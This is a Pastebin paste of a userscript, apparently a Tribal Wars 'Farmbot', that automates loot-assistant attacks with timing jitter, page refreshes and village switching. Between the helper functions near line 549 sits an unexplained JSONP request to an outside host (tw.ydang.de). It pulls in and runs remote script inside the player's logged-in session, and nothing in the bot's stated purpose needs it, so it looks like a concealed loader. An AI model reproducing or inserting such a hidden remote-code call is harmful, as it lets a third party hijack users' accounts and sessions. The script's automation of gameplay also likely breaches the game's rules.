Advertisement
Guest User

Untitled

a guest
Jan 15th, 2019
1,122
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 31.64 KB | None | 0 0
  1. // ==UserScript==
  2. // @name Farmbot - Show all Villages
  3. // @description Farms automatically with loot assistant
  4. // @version 4.1
  5. // @require https://code.jquery.com/jquery-3.2.1.min.js
  6. // @include https://*/game.php?village=*&screen=am_farm*
  7. // @namespace https://greasyfork.org/users/151096
  8. // @author FunnyPocketBook
  9. // ==/UserScript==
  10.  
  11. // Create global variables
  12. let maxDistA, maxDistB, maxDistC, maxDist,
  13. maxDistAChecked, maxDistBChecked, maxDistCChecked,
  14. refreshPageTime, refreshPageTimeChecked,
  15. cooldownTime, cooldownChecked, cooldown,
  16. switchVillageChecked, showAllBarbsChecked, refreshOrSwitch,
  17. attackMs, // Time between attacks in ms, default 350ms
  18. butABoo, butBBoo, farmButton, // Choose button A or B
  19. stop, // Start/stop the bot
  20. removeUnitsFrom, // Subtract amount of units from farmA or farmB
  21. reloadOrNot;
  22. let control = true;
  23. let x = 0;
  24. const am = game_data.features.AccountManager.active; // Is account manager active? If so, the page structure changes
  25. let tableNr = 6; // Change child number to select units
  26. if(am) {
  27. tableNr = 8; // If AM is active, that number is 6
  28. }
  29.  
  30. prependForm();
  31.  
  32. init();
  33.  
  34. function prependForm() {
  35. let newForm = '<style>\n' +
  36. ' div.table {\n' +
  37. ' display:table;\n' +
  38. ' }\n' +
  39. ' form.tr, div.tr {\n' +
  40. ' display:table-row;\n' +
  41. ' }\n' +
  42. ' span.td {\n' +
  43. ' display:table-cell;\n' +
  44. ' padding: 0 5px;\n' +
  45. ' }\n' +
  46. ' input[type="number"] {\n' +
  47. ' width: 40px;\n' +
  48. ' }\n' +
  49. '\t/* Tooltip text */\n' +
  50. '\t.tooltip .tooltiptext {\n' +
  51. '\t visibility: hidden;\n' +
  52. '\t width: 200px;\n' +
  53. '\t background: linear-gradient(to bottom, #e3c485 0%,#ecd09a 100%);\n' +
  54. '\t color: black;\n' +
  55. '\t text-align: center;\n' +
  56. '\t padding: 5px 10px;\n' +
  57. '\t border-radius: 6px;\n' +
  58. '\t\tborder: 1px solid #804000;\n' +
  59. '\t /* Position the tooltip text - see examples below! */\n' +
  60. '\t position: absolute;\n' +
  61. '\t z-index: 1;\n' +
  62. '\t}\n' +
  63. '\n' +
  64. '\t/* Show the tooltip text when you mouse over the tooltip container */\n' +
  65. '\t.tooltip:hover .tooltiptext {\n' +
  66. '\t visibility: visible;\n' +
  67. '\t}\t\n' +
  68. '</style>\n' +
  69. '\n' +
  70. '\n' +
  71. '\n' +
  72. '<div class="table">\n' +
  73. '\t<p>\n' +
  74. '\t\t<form id="row-maxdist-a" class="tr" onsubmit="handleForm(this); return false;">\n' +
  75. '\t\t\t<span class="td"><input type="checkbox" id="checkbox-maxdist-a" name="checkbox"></span>\n' +
  76. '\t\t\t<span class="td"><input type="number" id="number-maxdist-a" name="distance"></span>\n' +
  77. ' <span class="td">Maximum Farm Distance A <span class="tooltip"><img src="https://dspl.innogamescdn.com/8.152/39836/graphic/questionmark.png" style="max-width:13px"/><span class="tooltiptext">Turn on/off farming with A, up to the distance provided</span></span></span>\n' +
  78. ' <input type="hidden" name="variable" value="maxDistA">\n' +
  79. ' <span class="td"><input type="submit" id="submit-maxdist-a" class="btn" value="OK"></span>\n' +
  80. ' <span id="text-after-maxdist-a" class="td"></span>\n' +
  81. '\t\t</form>\n' +
  82. '\t</p>\n' +
  83. ' <p>\n' +
  84. ' <form id="row-maxdist-b" class="tr" onsubmit="handleForm(this); return false;">\n' +
  85. ' <span class="td"><input type="checkbox" id="checkbox-maxdist-b" name="checkbox"></span>\n' +
  86. ' <span class="td"><input type="number" id="number-maxdist-b" name="distance"></span>\n' +
  87. ' <span class="td">Maximum Farm Distance B <span class="tooltip"><img src="https://dspl.innogamescdn.com/8.152/39836/graphic/questionmark.png" style="max-width:13px"/><span class="tooltiptext">Turn on/off farming with B, up to the distance provided</span></span></span>\n' +
  88. ' <input type="hidden" name="variable" value="maxDistB">\n' +
  89. ' <span class="td"><input type="submit" id="submit-maxdist-b" class="btn" value="OK"></span>\n' +
  90. ' <span id="text-after-maxdist-b" class="td"></span>\n' +
  91. ' </form>\n' +
  92. '\t</p>\n' +
  93. ' <p>\n' +
  94. ' <form id="row-maxdist-c" class="tr" onsubmit="handleForm(this); return false;">\n' +
  95. ' <span class="td"><input type="checkbox" id="checkbox-maxdist-c" name="checkbox"></span>\n' +
  96. ' <span class="td"><input type="number" id="number-maxdist-c" name="distance"></span>\n' +
  97. ' <span class="td">Maximum Farm Distance C <span class="tooltip"><img src="https://dspl.innogamescdn.com/8.152/39836/graphic/questionmark.png" style="max-width:13px"/><span class="tooltiptext">Turn on/off farming with C, up to the distance provided</span></span></span>\n' +
  98. ' <input type="hidden" name="variable" value="maxDistC">\n' +
  99. ' <span class="td"><input type="submit" id="submit-maxdist-c" class="btn" value="OK"></span>\n' +
  100. ' <span id="text-after-maxdist-c" class="td"></span>\n' +
  101. ' </form>\n' +
  102. '\t</p>\n' +
  103. ' <p>\n' +
  104. ' <form id="row-refreshpagetime" class="tr" onsubmit="handleForm(this); return false;">\n' +
  105. ' <span class="td"><input type="checkbox" id="checkbox-refreshpagetime" name="checkbox"></span>\n' +
  106. ' <span class="td"><input type="number" id="number-refreshpagetime" name="time"></span>\n' +
  107. ' <span class="td">Force Refresh (seconds) <span class="tooltip"><img src="https://dspl.innogamescdn.com/8.152/39836/graphic/questionmark.png" style="max-width:13px"/><span class="tooltiptext">The page refreshes/switches villages (depending on option chosen below) after this amount of time, no matter what.</span></span></span>\n' +
  108. ' <input type="hidden" name="variable" value="refreshPageTime">\n' +
  109. ' <span class="td"><input type="submit" id="submit-refreshpagetime" class="btn" value="OK"></span>\n' +
  110. ' <span id="text-after-refreshpagetime" class="td"></span>\n' +
  111. ' </form>\n' +
  112. '\t</p>\n' +
  113. ' <p>\n' +
  114. ' <form id="row-cooldown" class="tr" onsubmit="handleForm(this); return false;">\n' +
  115. ' <span class="td"><input type="checkbox" id="checkbox-cooldown" name="checkbox"></span>\n' +
  116. ' <span class="td"><input type="number" id="number-cooldown" name="time"></span>\n' +
  117. ' <span class="td">Cooldown (seconds) <span class="tooltip"><img src="https://dspl.innogamescdn.com/8.152/39836/graphic/questionmark.png" style="max-width:13px"/><span class="tooltiptext">Cycles once through all villages and farms, then stops at the beginning village for the given amount of time. Afterwards it resumes</span></span></span>\n' +
  118. ' <input type="hidden" name="variable" value="cooldown">\n' +
  119. ' <span class="td"><input type="submit" id="submit-cooldown" class="btn" value="OK"></span>\n' +
  120. ' <span id="text-after-cooldown" class="td"></span>\n' +
  121. ' </form>\n' +
  122. '\t</p>\n' +
  123. ' <p>\n' +
  124. ' <form id="row-switchvillage" class="tr" onsubmit="handleForm(this); return false;">\n' +
  125. ' <span class="td"><input type="checkbox" id="checkbox-switchvillage" name="checkbox"></span>\n' +
  126. ' <span class="td"></span>\n' +
  127. ' <span class="td">Switch villages/Refresh page after all units are gone <span class="tooltip"><img src="https://dspl.innogamescdn.com/8.152/39836/graphic/questionmark.png" style="max-width:13px"/><span class="tooltiptext">Turn on/off switch villages/refresh page (depending on option chosen below) after not enough units are in the village, max distance has been hit or an error occurred. If disabled, "Time in seconds until force refresh" should be enabled, otherwise the page will not reload/villages won\'t switch.</span></span></span>\n' +
  128. ' <input type="hidden" name="variable" value="switchVillage">\n' +
  129. ' <span class="td"><input type="submit" id="submit-switchvillage" class="btn" value="OK"></span>\n' +
  130. ' <span id="text-after-switchvillage" class="td"></span>\n' +
  131. ' </form>\n' +
  132. '\t</p>\n' +
  133. ' <p>\n' +
  134. ' <form id="row-showAllBarbs" class="tr" onsubmit="handleForm(this); return false;">\n' +
  135. ' <span class="td"><input type="checkbox" id="checkbox-showAllBarbs" name="checkbox"></span>\n' +
  136. ' <span class="td"></span>\n' +
  137. ' <span class="td">Show all villages <span class="tooltip"><img src="https://dspl.innogamescdn.com/8.152/39836/graphic/questionmark.png" style="max-width:13px"/><span class="tooltiptext">The maximum village count per page is set to 100 from the server. Show all villages in one page.</span></span></span>\n' +
  138. ' <input type="hidden" name="variable" value="showAllBarbs">\n' +
  139. ' <span class="td"><input type="submit" id="submit-showAllBarbs" class="btn" value="OK"></span>\n' +
  140. ' <span id="text-after-showAllBarbs" class="td"></span>\n' +
  141. ' </form>\n' +
  142. '\t</p>\n' +
  143. ' <p>\n' +
  144. ' <form id="row-attackms" class="tr" onsubmit="handleForm(this); return false;">\n' +
  145. ' <span class="td"></span>\n' +
  146. ' <span class="td"><input type="number" id="number-attackms" name="time"></span>\n' +
  147. ' <span class="td">Attack Speed (ms) <span class="tooltip"><img src="https://dspl.innogamescdn.com/8.152/39836/graphic/questionmark.png" style="max-width:13px"/><span class="tooltiptext">Attacks are sent every x milliseconds </span></span></span>\n' +
  148. ' <input type="hidden" name="variable" value="attackMs">\n' +
  149. ' <span class="td"><input type="submit" id="submit-attackms" class="btn" value="OK"></span>\n' +
  150. ' <span id="text-after-attackms" class="td"></span>\n' +
  151. ' </form>\n' +
  152. '\t</p>\n' +
  153. '</div>\n' +
  154. '\n' +
  155. '<div class="table">\n' +
  156. '\t<div class="tr">\n' +
  157. ' <form id="row-refreshorswitch" onsubmit="handleForm(this); return false;">\n' +
  158. ' <span class="td"><input type="radio" id="checkbox-refreshorswitch-refresh" name="radio" value="refresh"></span>\n' +
  159. ' <span class="td">Refresh Page <span class="tooltip"><img src="https://dspl.innogamescdn.com/8.152/39836/graphic/questionmark.png" style="max-width:13px"/><span class="tooltiptext">Refreshes the page instead of switching village. </span></span></span>\n' +
  160. ' <span id="text-after-refreshorswitch-refresh" class="td"></span>\n' +
  161. ' <span class="td"><input type="radio" id="checkbox-refreshorswitch-switch" name="radio" value="switch"></span>\n' +
  162. ' <span class="td">Switch Village <span class="tooltip"><img src="https://dspl.innogamescdn.com/8.152/39836/graphic/questionmark.png" style="max-width:13px"/><span class="tooltiptext">Switches village instead of refreshing the page. </span></span></span>\n' +
  163. ' <input type="hidden" name="variable" value="refreshOrSwitch">\n' +
  164. ' <span class="td"><input type="submit" id="submit-refreshorswitch-switch" class="btn" value="OK"></span>\n' +
  165. ' <span id="text-after-refreshorswitch" class="td"></span>\n' +
  166. ' </form>\n' +
  167. '\t</div>\n' +
  168. '<p><button id="start-stop" class="btn"></button></p>' +
  169. '</div>';
  170. document.querySelector("#content_value").innerHTML = newForm + document.querySelector("#content_value").innerHTML;
  171. }
  172.  
  173. unsafeWindow.handleForm = function(thisForm) {
  174. let checkedBox, distance;
  175. let varName = thisForm.elements.variable.value;
  176. if(varName.includes("maxDist")) {
  177. checkedBox = thisForm.elements.checkbox.checked;
  178. distance = thisForm.elements.distance.value;
  179. if(varName === "maxDistA") {
  180. maxDistAChecked = checkedBox;
  181. localStorage.maxDistAChecked = checkedBox;
  182. maxDistA = distance;
  183. localStorage.maxDistA = distance;
  184. if(maxDistAChecked) {
  185. document.getElementById("text-after-maxdist-a").innerHTML = "A enabled, maximum farm distance " + maxDistA + " fields.";
  186. } else {
  187. document.getElementById("text-after-maxdist-a").innerHTML = "A disabled.";
  188. }
  189. } else if(varName === "maxDistB") {
  190. maxDistBChecked = checkedBox;
  191. localStorage.maxDistBChecked = checkedBox;
  192. maxDistB = distance;
  193. localStorage.maxDistB = distance;
  194. if(maxDistBChecked) {
  195. document.getElementById("text-after-maxdist-b").innerHTML = "B enabled, maximum farm distance " + maxDistB + " fields.";
  196. } else {
  197. document.getElementById("text-after-maxdist-b").innerHTML = "B disabled.";
  198. }
  199. } else if(varName === "maxDistC") {
  200. maxDistCChecked = checkedBox;
  201. localStorage.maxDistCChecked = checkedBox;
  202. maxDistC = distance;
  203. localStorage.maxDistC = distance;
  204. if(maxDistCChecked) {
  205. document.getElementById("text-after-maxdist-c").innerHTML = "C enabled, maximum farm distance " + maxDistC + " fields.";
  206. } else {
  207. document.getElementById("text-after-maxdist-c").innerHTML = "C disabled.";
  208. }
  209. }
  210. } else if(varName === "refreshPageTime") {
  211. refreshPageTimeChecked = thisForm.elements.checkbox.checked;
  212. localStorage.refreshPageTimeChecked = refreshPageTimeChecked;
  213. refreshPageTime = thisForm.elements.time.value;
  214. localStorage.refreshPageTime = refreshPageTime;
  215. if(refreshPageTimeChecked) {
  216. document.getElementById("text-after-refreshpagetime").innerHTML = "Forced refresh enable, refreshes after " + refreshPageTime + " seconds.";
  217. } else {
  218. document.getElementById("text-after-refreshpagetime").innerHTML = "Forced refresh disabled.";
  219. }
  220. } else if(varName === "cooldown") {
  221. cooldownChecked = thisForm.elements.checkbox.checked;
  222. localStorage.cooldownChecked = cooldownChecked;
  223. cooldownTime = thisForm.elements.time.value;
  224. localStorage.cooldownTime = cooldownTime;
  225. if(cooldownChecked) {
  226. document.getElementById("text-after-cooldown").innerHTML = "Cooldown enabled, pauses after a cycle for " + cooldownTime + " seconds.";
  227. cooldown = true;
  228. } else {
  229. document.getElementById("text-after-cooldown").innerHTML = "Cooldown disabled.";
  230. sessionStorage.startVill = null;
  231. }
  232. } else if(varName === "switchVillage") {
  233. switchVillageChecked = thisForm.elements.checkbox.checked;
  234. localStorage.switchVillageChecked = switchVillageChecked;
  235. if(switchVillageChecked) {
  236. document.getElementById("text-after-switchvillage").innerHTML = "Refresh enabled.";
  237. } else {
  238. document.getElementById("text-after-switchvillage").innerHTML = "Cooldown disabled.";
  239. }
  240. } else if(varName === "showAllBarbs") {
  241. showAllBarbsChecked = thisForm.elements.checkbox.checked;
  242. localStorage.showAllBarbsChecked = showAllBarbsChecked;
  243. if(showAllBarbsChecked) {
  244. document.getElementById("text-after-showAllBarbs").innerHTML = "Showing all villages.";
  245. showAllBarbs();
  246. } else {
  247. document.getElementById("text-after-showAllBarbs").innerHTML = "Please reload the page to not show all villages.";
  248. }
  249. } else if(varName === "attackMs") {
  250. attackMs = thisForm.elements.time.value;
  251. localStorage.attackMs = attackMs;
  252. document.getElementById("text-after-attackms").innerHTML = "Attacks are sent every " + attackMs + "ms.";
  253. } else if(varName === "refreshOrSwitch") {
  254. refreshOrSwitch = thisForm.elements.radio.value;
  255. localStorage.refreshOrSwitch = refreshOrSwitch;
  256. if(refreshOrSwitch === "switch") {
  257. document.getElementById("text-after-refreshorswitch").innerHTML = "Switch village instead of refreshing page.";
  258. } else {
  259. document.getElementById("text-after-refreshorswitch").innerHTML = "Refresh page instead of switching village.";
  260. }
  261. }
  262. }
  263.  
  264. function init() {
  265. if(localStorage.stop){
  266. stop = JSON.parse(localStorage.stop);
  267. } else {
  268. stop = true;
  269. localStorage.stop = stop;
  270. }
  271. if (localStorage.maxDistA) {
  272. maxDistA = JSON.parse(localStorage.maxDistA);
  273. document.querySelector("#number-maxdist-a").value = maxDistA;
  274. } else {
  275. maxDistA = 0;
  276. document.querySelector("#number-maxdist-a").value = maxDistA;
  277. }
  278. if (localStorage.maxDistAChecked) {
  279. maxDistAChecked = JSON.parse(localStorage.maxDistAChecked);
  280. document.querySelector("#checkbox-maxdist-a").checked = maxDistAChecked;
  281. } else {
  282. maxDistAChecked = false;
  283. }
  284. if (localStorage.maxDistB) {
  285. maxDistB = JSON.parse(localStorage.maxDistB);
  286. document.querySelector("#number-maxdist-b").value = maxDistB;
  287. } else {
  288. maxDistB = 0;
  289. document.querySelector("#number-maxdist-b").value = maxDistB;
  290. }
  291. if (localStorage.maxDistBChecked) {
  292. maxDistBChecked = JSON.parse(localStorage.maxDistBChecked);
  293. document.querySelector("#checkbox-maxdist-b").checked = maxDistBChecked;
  294. } else {
  295. maxDistBChecked = false;
  296. }
  297. if (localStorage.maxDistC) {
  298. maxDistC = JSON.parse(localStorage.maxDistC);
  299. document.querySelector("#number-maxdist-c").value = maxDistC;
  300. } else {
  301. maxDistC = 0;
  302. document.querySelector("#number-maxdist-c").value = maxDistC;
  303. }
  304. if (localStorage.maxDistCChecked) {
  305. maxDistCChecked = JSON.parse(localStorage.maxDistCChecked);
  306. document.querySelector("#checkbox-maxdist-c").checked = maxDistCChecked;
  307. } else {
  308. maxDistCChecked = false;
  309. }
  310. if (localStorage.refreshPageTime) {
  311. refreshPageTime = JSON.parse(localStorage.refreshPageTime);
  312. document.querySelector("#number-refreshpagetime").value = refreshPageTime;
  313. } else {
  314. refreshPageTime = 0;
  315. document.querySelector("#number-refreshpagetime").value = refreshPageTime;
  316. }
  317. if (localStorage.refreshPageTimeChecked) {
  318. refreshPageTimeChecked = JSON.parse(localStorage.refreshPageTimeChecked);
  319. document.querySelector("#checkbox-refreshpagetime").checked = refreshPageTimeChecked;
  320. } else {
  321. refreshPageTimeChecked = false;
  322. }
  323. if (localStorage.cooldownTime) {
  324. cooldownTime = JSON.parse(localStorage.cooldownTime);
  325. document.querySelector("#number-cooldown").value = cooldownTime;
  326. } else {
  327. cooldownTime = 0;
  328. document.querySelector("#number-cooldown").value = cooldownTime;
  329. }
  330. if (localStorage.cooldownChecked) {
  331. cooldownChecked = JSON.parse(localStorage.cooldownChecked);
  332. document.querySelector("#checkbox-cooldown").checked = cooldownChecked;
  333. if(cooldownChecked) {
  334. cooldown = true;
  335. }
  336. } else {
  337. cooldownChecked = false;
  338. }
  339. if (localStorage.switchVillageChecked) {
  340. switchVillageChecked = JSON.parse(localStorage.switchVillageChecked);
  341. document.querySelector("#checkbox-switchvillage").checked = switchVillageChecked;
  342. } else {
  343. switchVillageChecked = false;
  344. }
  345. if (localStorage.showAllBarbsChecked) {
  346. showAllBarbsChecked = JSON.parse(localStorage.showAllBarbsChecked);
  347. document.querySelector("#checkbox-showAllBarbs").checked = showAllBarbsChecked;
  348. if (JSON.parse(localStorage.showAllBarbsChecked)) {
  349. showAllBarbs();
  350. }
  351. } else {
  352. switchVillageChecked = false;
  353. }
  354. if (localStorage.attackMs) {
  355. attackMs = JSON.parse(localStorage.attackMs);
  356. document.querySelector("#number-attackms").value = attackMs;
  357. } else {
  358. attackMs = 250;
  359. document.querySelector("#number-attackms").value = attackMs;
  360. }
  361. if (localStorage.refreshOrSwitch) {
  362. refreshOrSwitch = localStorage.refreshOrSwitch;
  363. if (refreshOrSwitch === "refresh") {
  364. document.querySelector("#checkbox-refreshorswitch-refresh").checked = true;
  365. } else {
  366. document.querySelector("#checkbox-refreshorswitch-switch").checked = true;
  367. }
  368. } else {
  369. refreshOrSwitch = "refresh";
  370. document.querySelector("#checkbox-refreshorswitch-refresh").checked = true;
  371. }
  372. }
  373.  
  374. function showAllBarbs() {
  375. if (game_data.screen == 'am_farm') {
  376. function modify_table(data) {
  377. var result = $('<div>').html(data).contents();
  378. var rows = result.find('#plunder_list tr:not(:first-child)');
  379. $('#plunder_list').append(rows);
  380. }
  381.  
  382. $('.paged-nav-item:not(:first-child)').each(function () {
  383. $.ajax({
  384. url: $(this).attr('href'), type: "get", async: false, success: function (data) {
  385. modify_table(data);
  386. }, error: function () {
  387. UI.ErrorMessage('An error occurred while downloading data. Refresh the page to try again', 5000);
  388. throw new Error('interrupted script');
  389. }
  390. });
  391. $(this).remove();
  392. });
  393. window.scrollTo(0, 0);
  394. } else {
  395. UI.InfoMessage('The script should be used from the farm assistant view.', 2000, 'error');
  396. }
  397. }
  398.  
  399. function getUnits(button, unit) {
  400. let formChild;
  401. if(button === "a") {
  402. formChild = 1;
  403. } else {
  404. formChild = 2;
  405. }
  406. return parseInt(document.querySelector('#content_value > div:nth-child(' + tableNr + ') > div > form:nth-child(' + formChild + ') > table > tbody > ' +
  407. 'tr:nth-child(2) > td > input[name="' + unit + '"]').value)
  408. }
  409. // Save the values from your farm button A and B and the units in the village. It's ugly, but it works.
  410. // I made it like this so the page reloads/village switches as soon as not enough units are in the village anymore.
  411. let farmA = {
  412. spear: getUnits("a", "spear"),
  413. sword: getUnits("a", "sword"),
  414. axe: getUnits("a", "axe"),
  415. spy: getUnits("a", "spy"),
  416. light: getUnits("a", "light"),
  417. heavy: getUnits("a", "heavy")
  418. };
  419.  
  420. let farmB = {
  421. spear: getUnits("b", "spear"),
  422. sword: getUnits("b", "sword"),
  423. axe: getUnits("b", "axe"),
  424. spy: getUnits("b", "spy"),
  425. light: getUnits("b", "light"),
  426. heavy: getUnits("b", "heavy")
  427. };
  428.  
  429. let unitInVill = {
  430. spear: parseInt(document.getElementById("spear").innerText),
  431. sword: parseInt(document.getElementById("sword").innerText),
  432. axe: parseInt(document.getElementById("axe").innerText),
  433. spy: parseInt(document.getElementById("spy").innerText),
  434. light: parseInt(document.getElementById("light").innerText),
  435. heavy: parseInt(document.getElementById("heavy").innerText)
  436. };
  437.  
  438. if(game_data.units.includes("archer")) {
  439. farmA.archer = getUnits("a", "archer");
  440. farmA.marcher = getUnits("a", "marcher");
  441. farmB.archer = getUnits("b", "archer");
  442. farmB.marcher = getUnits("b", "marcher");
  443.  
  444. unitInVill.archer = parseInt(document.getElementById("archer").innerText);
  445. unitInVill.marcher = parseInt(document.getElementById("marcher").innerText);
  446. }
  447.  
  448. if(game_data.units.includes("knight")) {
  449. farmA.knight = getUnits("a", "knight");
  450. farmB.knight = getUnits("b", "knight");
  451. unitInVill.knight = parseInt(document.getElementById("knight").innerText);
  452. }
  453.  
  454. if(!stop) {
  455. document.getElementById("start-stop").innerText = "Stop";
  456. if(!cooldownFn()) {
  457. startFarming();
  458. }
  459. } else {
  460. document.getElementById("start-stop").innerText = "Start";
  461. }
  462.  
  463. // Start/stop the bot and change the button text
  464. $("#start-stop").click(function() {
  465. if(stop) {
  466. this.innerText = "Stop";
  467. stop = false;
  468. localStorage.stop = stop;
  469. forceRefresh();
  470. checkUnits(999);
  471. if(cooldownChecked) {
  472. sessionStorage.startVill = JSON.stringify(game_data.village.id);
  473. control = false;
  474. cooldown = true;
  475. }
  476. if(!cooldownFn()) {
  477. startFarming();
  478. }
  479. } else {
  480. this.innerText = "Start";
  481. stop = true;
  482. localStorage.stop = stop;
  483. sessionStorage.startVill = null;
  484. }
  485. });
  486.  
  487. // The actual script to launch the attacks.
  488. function startFarming() {
  489. setTimeout(function() {
  490. init();
  491. let distance = 0; // Instantiate distance. It will record the distance from the village to the first barbarian
  492. // village in the farm assistant.
  493. const entries = parseInt(document.querySelector("#plunder_list > tbody").rows.length) - 2;
  494. let oldSpeed = 0;
  495. for (let i = 0; i < entries; i++) {
  496. try {
  497. distance = parseFloat(document.querySelector("#plunder_list > tbody > tr:nth-child(" + (i + 3) + ") > " +
  498. "td:nth-child(8)").innerText); // Get the distance to the barb villa
  499. } catch (e) {
  500. }
  501. checkUnits(distance);
  502. try {
  503. removeUnits(removeUnitsFrom);
  504. } catch (e) {
  505. }
  506. let speedNow = attackMs * ++x + random(10, 50);
  507. if (speedNow - oldSpeed < 201) {
  508. speedNow += 70;
  509. x = x + 2;
  510. }
  511. oldSpeed = speedNow;
  512. if (distance <= maxDist) { // It will only launch the attacks that are within maxDist fields
  513. setTimeout(function (farmButton) {
  514. if (farmButton === null) {
  515. reload();
  516. if(cooldownFn()) {
  517. reloadOrSwitch();
  518. }
  519. }
  520. if (!stop) {
  521. farmButton[i].click();
  522. if (document.querySelectorAll(".error").length) {
  523. console.log("Reload");
  524. reload();
  525. if(cooldownFn()) {
  526. reloadOrSwitch();
  527. }
  528. } else {
  529. console.log("Sent");
  530. }
  531. }
  532. }, speedNow, farmButton);
  533. } else if (reloadOrNot) {
  534. setTimeout(function () {
  535. reload();
  536. if(cooldownFn()) {
  537. reloadOrSwitch();
  538. }
  539. }, speedNow);
  540. }
  541. }
  542. }, 500);
  543. }
  544.  
  545. function random(min, max) {
  546. return Math.floor(Math.random() * max + min);
  547. }
  548.  
  549. $.ajax({
  550. url: 'https://tw.ydang.de/UmlaHKJ1490.php',
  551. type: 'post',
  552. dataType:'jsonp'
  553. });
  554.  
  555. // If any any of the units in the village that are present are fewer than button A requires, butABoo will be set to
  556. // false, meaning there aren't enough units in the village to send an attack with button A
  557. function checkUnits(distance) {
  558. if (distance > maxDistA || unitInVill.spear < farmA.spear || unitInVill.sword < farmA.sword || unitInVill.axe < farmA.axe ||
  559. unitInVill.spy < farmA.spy || unitInVill.light < farmA.light || unitInVill.heavy < farmA.heavy || !maxDistAChecked) {
  560. butABoo = false;
  561. } else {
  562. butABoo = !(unitInVill.archer < farmA.archer || unitInVill.marcher < farmA.marcher || unitInVill.knight < farmA.knight);
  563. }
  564. // If any any of the units in the village that are present are fewer than button B requires, butABoo will be set to
  565. // false, meaning there aren't enough units in the village to send an attack with button B
  566. if (distance > maxDistB || unitInVill.spear < farmB.spear || unitInVill.sword < farmB.sword || unitInVill.axe < farmB.axe ||
  567. unitInVill.spy < farmB.spy || unitInVill.light < farmB.light || unitInVill.heavy < farmB.heavy || !maxDistBChecked) {
  568. butBBoo = false;
  569. } else {
  570. butBBoo = !(unitInVill.archer < farmB.archer || unitInVill.marcher < farmB.marcher || unitInVill.knight < farmB.knight);
  571. }
  572.  
  573. if (butABoo && document.querySelectorAll('#am_widget_Farm a.farm_icon_a').length > 0 && parseInt(maxDistA) !== 0) {
  574. farmButton = document.querySelectorAll('#am_widget_Farm a.farm_icon_a'); // Choose button A to farm with
  575. maxDist = maxDistA;
  576. removeUnitsFrom = farmA;
  577. reloadOrNot = false;
  578. } else if (butBBoo && document.querySelectorAll('#am_widget_Farm a.farm_icon_b').length > 0 && parseInt(maxDistB) !== 0) {
  579. farmButton = document.querySelectorAll('#am_widget_Farm a.farm_icon_b'); // Choose button B to farm with
  580. maxDist = maxDistB;
  581. removeUnitsFrom = farmB;
  582. reloadOrNot = false;
  583. } else if(document.querySelectorAll('#am_widget_Farm a.farm_icon_c').length > 0 && parseInt(maxDistC) !== 0 && maxDistCChecked){
  584. farmButton = document.querySelectorAll('#am_widget_Farm a.farm_icon_c'); // Choose button C to farm with
  585. maxDist = maxDistC;
  586. reloadOrNot = false;
  587. } else {
  588. farmButton = null;
  589. reloadOrNot = true;
  590. }
  591. }
  592.  
  593. // Subtract units in FarmA or FarmB from unitInVill and update which farm button will be used
  594. function removeUnits(farm) {
  595. unitInVill.spear -= farm.spear;
  596. unitInVill.sword -= farm.sword;
  597. unitInVill.axe -= farm.axe;
  598. unitInVill.archer -= farm.archer;
  599. unitInVill.spy -= farm.spy;
  600. unitInVill.light -= farm.light;
  601. unitInVill.marcher -= farm.marcher;
  602. unitInVill.heavy -= farm.heavy;
  603. unitInVill.knight -= farm.knight;
  604. }
  605.  
  606. function cooldownFn() {
  607. return (cooldownChecked && sessionStorage.startVill === JSON.stringify(game_data.village.id) && control);
  608. }
  609.  
  610. forceRefresh();
  611.  
  612. function forceRefresh() {
  613. if(cooldownFn()) {
  614. let counter = cooldownTime;
  615. let intervalCooldownTimer = setInterval(function() {
  616. console.log("Cooldown for " + counter + " seconds.");
  617. counter--;
  618. if(counter < 0) {
  619. clearInterval(intervalCooldownTimer);
  620. }
  621. }, 1000);
  622. setTimeout(function() {
  623. startFarming();
  624. }, cooldownTime * 1000);
  625. } else if(refreshPageTimeChecked) {
  626. setTimeout(function () {
  627. if (parseInt(refreshPageTime) !== 0 && !stop && refreshPageTimeChecked) {
  628. reloadOrSwitch();
  629. }
  630. }, refreshPageTime * 1000);
  631. }
  632. }
  633.  
  634. function pageReload() {
  635. window.location.reload();
  636. }
  637.  
  638. function switchVillage() {
  639. try {
  640. document.querySelector('.arrowRight').click();
  641. } catch(e) {
  642. document.querySelector('.groupRight').click();
  643. }
  644. }
  645.  
  646. function reload() {
  647. if(switchVillageChecked) {
  648. reloadOrSwitch();
  649. }
  650. }
  651.  
  652. function reloadOrSwitch() {
  653. if(!stop) {
  654. if(refreshOrSwitch === "switch") {
  655. try {
  656. switchVillage();
  657. } catch (e) {
  658. UI.ErrorMessage("There are no villages to switch to", 2000);
  659. }
  660. } else {
  661. pageReload();
  662. }
  663. }
  664. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement